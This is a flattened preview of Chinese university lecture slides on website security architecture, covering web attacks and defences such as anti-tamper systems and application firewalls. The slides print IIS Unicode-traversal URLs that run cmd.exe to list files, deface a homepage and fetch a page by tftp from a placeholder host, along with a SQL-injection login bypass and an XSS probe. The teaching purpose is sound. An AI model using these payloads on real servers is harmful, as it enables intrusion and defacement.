网站安全体系架构概述_第1页
网站安全体系架构概述_第2页
网站安全体系架构概述_第3页
网站安全体系架构概述_第4页
网站安全体系架构概述_第5页
已阅读5页,还剩59页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

网站安全体系架构,孙建伟北京理工大学软件学院,提纲,网站工作原理网站架构网站与浏览器的交互Web应用攻击网页篡改注入式攻击跨站攻击Web应用安全体系架构分析输入验证网站备份恢复架构立体防护体系,Web应用程序的逻辑架构,三层架构(3-tierapplication)通常意义上的三层架构就是将整个业务应用划分为:表现层(UI)、业务逻辑层(BLL)、数据访问层(DAL)。区分层次的目的即为了“高内聚,低耦合”的思想。、表现层(UI):通俗讲就是展现给用户的界面,即用户在使用一个系统的时候他的所见所得。、业务逻辑层(BLL):针对具体问题的操作,也可以说是对数据层的操作,对数据业务逻辑处理。、数据访问层(DAL):该层所做事务直接操作数据库,针对数据的增、删、改、查。,网站的层次结构,操作系统:管理计算机平台资源Web服务器:解析HTTP请求,处理网页文件,执行动态脚本网站文件系统静态网页动态网页后台数据库,4,HTTP工作原理,因特网,HTTP使用此TCP连接,浏览器程序,服务器程序,HTTP,客户,(1)浏览器分析超链指向页面的URL。(2)浏览器向DNS请求解析的IP地址。(3)域名系统DNS解析出清华大学服务器的IP地址。(4)浏览器与服务器建立TCP连接(5)浏览器发出取文件命令:GET/chn/yxsz/index.htm。(6)服务器对此请求给出响应,把文件index.htm发给浏览器。(7)TCP连接释放。(8)浏览器显示文件index.htm中的所有文本。,Web访问工作原理,Web访问工作原理,浏览器结构,与远地服务器通信,输出至显示器,从鼠标和键盘输入,网络接口,可选客户程序,HTML解释程序,可选解释程序,控制程序,驱动程序,HTTP客户程序,缓存,9,服务器端技术实现原理,Web浏览器,Web服务器,HTTP请求,HTTP响应,本地磁盘,获取请求页,1.检查网页是否是动态网页2.如果是则运行其中的服务器端程序3.生成静态网页发送到客户端,10,网站成为网络攻击的焦点,操作系统的复杂性已公布超过1万多个系统漏洞Web服务器的漏洞网站应用漏洞网站配置的问题网站系统设计缺乏安全性架构的支持网页的安全性设计不够注入式攻击多个应用系统不同的开发者,组织的缺陷,10,Web攻击事件-篡改网页,11,Web攻击事件-篡改数据,12,Web攻击事件-跨站攻击,13,Web攻击事件-注入式攻击,14,Web攻击事件-非法上传,15,常见Web攻击类型,16,攻击手段示例之一,Unicode漏洞,漏洞选介,Unicode漏洞微软的IIS在Unicode字符解码的实现中存在一个安全漏洞,导致用户可以远程通过IIS执行任意命令可以复制、删除、列目录、系统配置等任何人利用普通浏览器即可发起攻击存在于WindowsNT/2000(IIS4.0/5.0)中2001年初发现,2001年8月修复,18,漏洞原理,IIS对特殊字符URL请求的解码错误%c1%1c-(0 xc1-0 xc0)*0 x40+0 x1c=0 x5c=/%c0%2f-(0 xc0-0 xc0)*0 x40+0 x2f=0 x2f=构造含有特殊字符的URL请求绕过IIS的路径检查可以执行或打开任意文件,19,测试方法,测试URLhttp:/badou/scripts/.%u00255c./winnt/system32/cmd.exe?/c+dir+d:badou是任意一台(未打补丁的)Windows2000主机的IIS服务器返回结果目标主机D盘下的文件目录,20,利用漏洞列目录,21,利用漏洞进行攻击,简单修改主页在首页内添加文字“导弹袭击”http:/badou/scripts/.%u00255c./winnt/system32/cmd.exe?/c+echo+导弹袭击+c:inetpubwwwrootdefault.htm上传非法页面用tftp工具将hack.htm上传到目标主机http:/badou/scripts/.%u00255c./winnt/system32/cmd.exe?/c+tftp-iy.y.y.yGETc:inetpubwwwroothack.htm,22,注入式攻击,注入式攻击,全称为“SQL注入式攻击”攻击者利用网站动态网页程序设计上的漏洞,在目标的Web服务器上运行SQL命令绕过登录身份检查、获得系统管理员密码、非法获取数据、非法篡改数据、生成非法文件、非法执行命令等,24,漏洞原理,攻击者在表单输入或者URL请求中发送SQL语句片断,期望通过Web应用脚本合成为带有攻击目的的SQL语句应用脚本:ASP、JSP、PHP数据库:一切支持SQL的数据库系统,SQL注入机理分析,SQL注入机理分析(续),/构建SQL查询语句=“SELECTnameFROMtbUserInfoWHEREid=(用户输入的数据)”,用户名:wcor1=1-密码:xxxx,SELECTnameFROMtbUserInfoWHEREid=wcor1=1-,SQL注入攻击的一般过程,探测注入点,确定数据库类型和版本,猜解数据库结构,确定当前用户权限,提取信息篡改数据,发起高级攻击,使用特定存储过程,遍历目录结构,修改注册码,SQL注入攻击的特点,SQL注入是从正常的WWW端口(80端口)访问,表面看起来跟一般的web页面访问没什么区别,SQL注入漏洞是一个入口,攻击者通过它可以发动更高级的攻击,例如控制目标系统。,隐蔽性,后果严重性,使用黑客工具,NBSIHDSIDomainX-ScanPangolin,30,攻击手段示例之三,跨站攻击,防跨站攻击示例,应用系统未对浏览器输入的参数进行检查和处理,直接返回给用户的浏览器。,B请输入转账金额:,B转账成功!,URL:,B银行破产!,URL:,Xxxsblog:宣布破产请点击官方链接,10000,确定,1.正常业务,2.跨站攻击,跨站攻击还能做什么,在客户端执行脚本JavaScriptVBScript偷取和仿冒用户身份和信息cookiesession向其他站点提交信息跳转到其他站点,33,对策,配置和管理配置网络和主机编写安全的应用程序安全扫描模拟渗透工具代码复查工具安全防护网页完整性检查应用防火墙,34,对策一,配置和管理,应用程序安全设计原则,权限区域划分使用最少的特权应用深入的防御手段不要信任用户的输入在网关处进行检查出现故障时的安全性保证最脆弱的链接的安全创建安全的默认值减小受攻击的范围,36,应用程序安全关注点,“如何安全地处理异常?”“如何保证开发人员工作站的安全性?”“如何编写具有最低权限的代码?”“如何限制文件I/O?”“如何防止SQL注入?”“如何防止跨站点脚本编写?”“如何管理机密?”“如何安全调用非托管代码?”“如何执行托管代码的安全复查?”“如何执行安全的输入验证?”“如何保证窗体身份验证的安全性?”,37,防范注入式攻击,检查用户输入关键字过滤强数据类型服务器端检查最小权限原则使用存储过程使用parameters对象控制错误信息回显,38,防范跨站攻击,检查用户输入alert(xss)检查请求头中的referer,39,对策二,安全扫描,应用安全扫描,测试方法黑盒测试(渗透和黑客工具)白盒测试(代码和开发生命周期)产品AppScan(IBM)WebInspect(HP)N-Stalker(N-Stalker)Acunetix(Acunetix)MatriXay(亚龙安恒,dbappsecurity)WebRavor(安域领创,SecDomain),41,对策三,安全防护,应用安全防护,网页防篡改系统保护网页和脚本的完整性安全容忍类产品iGuard应用防火墙防止针对主机和应用程序的威胁安全防护类产品华诚ImpervaiWall,43,网页防篡改系统设计思路,网站工作的流程Web服务器收听请求解析url查找url对应的网页文件对于静态网页文件,发送给客户端;对于动态网页文件,服务器端执行脚本,生成页面文件发送给客户端.,网页防篡改系统设计思路,网站备份恢复结构设计网站文件备份网站文件在处理前先做完整性校验通过Hook函数修改web服务器(IIS),扩展完整性校验功能校验不通过,则从备份系统中恢复造篡改的文件为加速完整性校验,采用数字摘要技术预先生成原始文件的摘要(数字水印)实时比对,网页防篡改系统设计思路,网站备份恢复结构处理流程Web服务器收听请求解析url查找url对应的网页文件读取网页文件后,做完整性校验校验不通过,则从备份中恢复对于静态网页文件,发送给客户端;对于动态网页文件,服务器端执行脚本,生成页面文件发送给客户端.,Web核心内嵌模块,47,硬件平台(X86/sparc/ItaniumII/PowerPC/PA-RISC),操作系统(Windows/Linux/FreeBSD/Solaris/AIX/HP-UX),Web服务器软件(IIS/Apache/Weblogic/Websphere),安全核心内嵌模块,request,response,应用防护技术,数字水印技术,Web服务器,防篡改技术,48,发布服务器,Web服务器,FTP/rsync,一般发布过程,篡改检测模块,自动发布子系统,监控和恢复子系统,+,篡改检测子系统,SSL,1.上传正常网页,=,X,水印库,2.浏览正常网页,3.篡改网页,4.浏览篡改网页,5.自动恢复,文件系统,工作过程,发布过程发布内嵌模块检测到文件创建/变化为文件产生加密和不可逆转数字水印通过加密通道传送到Web服务器检测过程公众发出请求浏览网页应用防护子系统检查请求的合法性页面保护子系统检查数字水印完整性,其它网页篡改防护的技术路线,外挂轮询制作网站备份定期抓取网页与相应的备份网页比对特点:可以是后台或前台无法做到实时恢复,其它网页篡改防护的技术路线,文件保护(事件触发)改造操作系统文件管理功能,监控和阻断文件写操作只有特权帐户才能作写操作Web服务器帐户权限只有读取权限特点:权限管理过于严格限制了web服务器功能,不能适应Web2.0技术的要求,网页防篡改技术比较,Web服务器内置的其它防护功能,同完整性校验功能的实现类似,web服务器在结构上可以扩展其它防护模块SQL参数的校验处理用户提交数据中恶意脚本的检查过滤上述处理功能也可以在防火墙平台上实现不适用于HTTPS模式,防注入攻击,SELECT*FROMuserWHEREname=hackor1=1,SELECT*FROMuserWHEREname=zhangsan,X,O,Web服务器软件,应用防护模块,输入用户名:,zhangsan,输入用户名:,hackor1=1,or,1.正常访问,2.注入攻击,防跨站攻击示例,55,B请输入转账金额:,B转账成功!,URL:,B银行破产!,URL:,Xxxsblog:宣布破产请点击官方链接,URL:,10000,确定,?,X,1.正常业务,2.跨站攻击,3.应用防护,应用防火墙实现方式比较,56,关键脚本的安全性设计,对于处理用户输入数据的网站脚本文件,考虑安全性设计Web脚本软件的输入验证:过滤跨站攻击脚本、SQL注入攻击等恶意访问对于CC攻击类型恶意访问,增加辨识和拒绝功能,两种方案的比较,两种输入验证方案脚本安全性设计web服务器内嵌模块脚本安全性设计,悟道,系统功能与结构的关系同样的功能需求,包括安全功能需求,可以选择不同的技术路线,采用不同的结构,使用不同的部署模式复杂的安全功能必然需要一种组合的结构,Web应用安全防护体系,传统网络安全设备,防火墙限制地址和端口访问验证和加固网络协议入侵检测基于网络层的数据包检查问题Web/80端口谁来保护?应用数据谁来保护?如何保证公众浏览到的信息是原始的?,Web漏洞,SQL数据库注入漏洞脚本源代码泄露漏洞非法执

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

最新文档

评论

0/150

提交评论